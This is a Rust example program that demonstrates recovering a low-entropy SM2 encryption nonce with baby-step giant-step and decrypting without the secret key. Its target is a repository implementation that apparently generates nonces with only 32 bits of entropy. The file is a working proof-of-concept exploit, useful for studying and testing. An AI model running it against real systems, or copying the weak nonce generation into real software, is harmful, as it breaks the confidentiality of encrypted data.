//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}